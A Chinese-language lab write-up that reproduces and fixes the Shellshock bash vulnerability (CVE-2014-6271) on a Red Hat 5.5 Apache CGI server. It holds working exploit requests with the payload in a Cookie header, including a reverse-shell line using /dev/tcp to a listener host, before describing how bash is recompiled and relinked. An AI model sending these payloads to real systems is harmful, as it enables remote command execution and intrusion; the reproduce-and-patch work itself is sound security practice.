破壳漏洞利用与修复(shellshock CVE-2014-6271)

环境安装

由于工作环境中一台Redhat 5.5 服务器上存在破壳漏洞(CVE-2014-6271)漏洞,相关漏洞资料中只影响到bash 4.3版本,但是升级到bash 4.4版本漏洞还是可以利用成功。于是在本地安装一台Redhat 5.5 并配置Apache httpd cgi,在安装系统过程中选择支持web服务就可以在运行系统之后直接启用httpd服务。

安全好之后发现Redhat 5.5 的httpd 默认支持cgi功能,如果不支持可以自己手动更改/etc/httpd/conf/httpd.conf内容,如下


破壳漏洞利用与修复(shellshock CVE-2014-6271)_第1张图片
CGI配置

去掉 AddHandler cgi-script .cgi 前面的注释


CGI配置

部分教程提示还需要将如下内容去掉注释


CGI配置

然后将cgi脚本放入到/var/www/cgi-bin/目录下,保存为test-cgi文件,内容如下

#!/bin/sh


# disable filename globbing
set -f


echo "Content-type: text/plain; charset=iso-8859-1"
echo


echo CGI/1.0 test script report:
echo


echo argc is $#. argv is "$*".
echo


echo SERVER_SOFTWARE = $SERVER_SOFTWARE
echo SERVER_NAME = $SERVER_NAME
echo GATEWAY_INTERFACE = $GATEWAY_INTERFACE
echo SERVER_PROTOCOL = $SERVER_PROTOCOL
echo SERVER_PORT = $SERVER_PORT
echo REQUEST_METHOD = $REQUEST_METHOD
echo HTTP_ACCEPT = "$HTTP_ACCEPT“
echo PATH_INFO = "$PATH_INFO"
echo PATH_TRANSLATED = "$PATH_TRANSLATED"
echo SCRIPT_NAME = "$SCRIPT_NAME"
echo QUERY_STRING = "$QUERY_STRING"
echo REMOTE_HOST = $REMOTE_HOST
echo REMOTE_ADDR = $REMOTE_ADDR
echo REMOTE_USER = $REMOTE_USER
echo AUTH_TYPE = $AUTH_TYPE
echo CONTENT_TYPE = $CONTENT_TYPE
echo CONTENT_LENGTH = $CONTENT_LENGTH

千万记住上传的文件不要使用Windows换行符"/r/n",会报错的。。。

配置完成启动服务,service httpd start


启动http服务

访问cgi链接地址,部署成功


破壳漏洞利用与修复(shellshock CVE-2014-6271)_第2张图片
启动成功

漏洞利用

使用bash --version 命令在虚拟机上查看一下bash版本,结果如下


bash版本

为存在漏洞版本,使用poc对漏洞进行验证

GET /cgi-bin/test-cgi HTTP/1.1
Host: 10.10.10.130
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Cookie: () { :; }; echo ;/bin/bash -c whoami
User-Agent: CrowdStrike ShellShock Scanner/1.0
Content-Length: 2

测试结果


破壳漏洞利用与修复(shellshock CVE-2014-6271)_第3张图片
测试结果

该poc操作不是很方便,我们使用反弹shell进行利用
本地使用ncat进行监听,ncat -lvvp 8000 ,设置监听端口为8000


设置监听

在poc中执行反弹语句,/bin/bash -i >& /dev/tcp/172.19.31.17/8000 0>&1

GET /cgi-bin/test-cgi HTTP/1.1
Host: 10.10.10.130
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Cookie: () { :; }; echo ;/bin/bash -i >& /dev/tcp/172.19.31.17/8000 0>&1
User-Agent: CrowdStrike ShellShock Scanner/1.0
Content-Length: 0

发送数据包,反弹成功


破壳漏洞利用与修复(shellshock CVE-2014-6271)_第4张图片
反弹成功

当前用户为apache,权限较低,可以查看当前服务器版本,使用命令lsb_release -a


破壳漏洞利用与修复(shellshock CVE-2014-6271)_第5张图片
查看系统

系统版本为Redhat 5.5,没有提权成功。。。

更新升级

升级需要对bash的安装包进行编译,直接编译会报错,是因为默认未安装gcc,但是Redhat未授权的系统不能直接使用yum,所以使用本地镜像中的安装包,做本地yum源,将镜像中的Client解压到指定的路径,需要更新/etc/yum.repos.d/rhel-debuginfo.repo,加入如下内容,下面的配置文件file:///opt/Client就是解压的路径(非root权限最好不要放在这里),然后执行yum makecache (可能不需要)

破壳漏洞利用与修复(shellshock CVE-2014-6271)_第6张图片
rpm安装包

配置信息

[rhel-debuginfo-beta]
name=Red Hat Enterprise Linux $releasever -$basearch - Debug
baseurl=file:///opt/Client
enabled=1
gpgcheck=0

配置好这些内容,就可以直接yum install gcc了

破壳漏洞利用与修复(shellshock CVE-2014-6271)_第7张图片
安装gcc

进入到bash源代码目录下,顺序执行./configure、make、make install ,进行编译安装
执行bash --version 查看当前版本


破壳漏洞利用与修复(shellshock CVE-2014-6271)_第8张图片
bash更新后版本

但是更新完成后验证还是存在漏洞,因为bash默认是安装在/usr/local/bin/目录下,需要创建一个链接到/bin/目录下,完成后重启生效
执行命令mv /bin/bash /bin/bash.bak 首先将原来的bash备份, ln -s /usr/local/bin/bash /bin/bash 创建链接,然后重启即可。
使用poc验证漏洞


破壳漏洞利用与修复(shellshock CVE-2014-6271)_第9张图片
整改成功

http头中的命令未执行,漏洞整改成功。

你可能感兴趣的:(破壳漏洞利用与修复(shellshock CVE-2014-6271))